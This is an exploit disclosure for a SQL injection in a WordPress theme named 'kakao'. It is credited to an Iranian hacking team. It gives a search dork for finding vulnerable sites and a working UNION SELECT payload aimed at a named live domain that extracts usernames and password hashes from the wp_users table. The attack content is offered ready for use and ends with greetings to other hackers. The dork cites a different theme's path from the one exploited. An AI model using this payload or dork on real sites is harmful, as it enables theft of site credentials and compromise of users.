# Exploit Title : Wordpress theme kakao Sql Injection # # Author : Iranian DataCoders Security Team # # Discovered By : sil3nt # # Home : www.datacoders.org/ # # Security Risk : High - SQL Injection # # Dork : inurl:themes/wilderness/gallery.php # ############################################## # # Expl0iTs : # # [Target]/wp-content/themes/kakao/sonHaberler.php?ID=[sql] # # D3m0 : # # http://www.kakaobulutlari.com/wp-content/themes/kakao/sonHaberler.php?ID=-1+union+select+1,2,3,4,5,group_concat%28user_login,0x3a,user_pass%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wp_users-- # ############################################## # # Greats :H-SK33PY - Immortal Boy - Neda - Noter - Monster§Face - Siamak.Black -agrab - ARTA - M0ri - Reza-S4T4N - Dj.TiniVini - Angel--D3m0n # ##############################################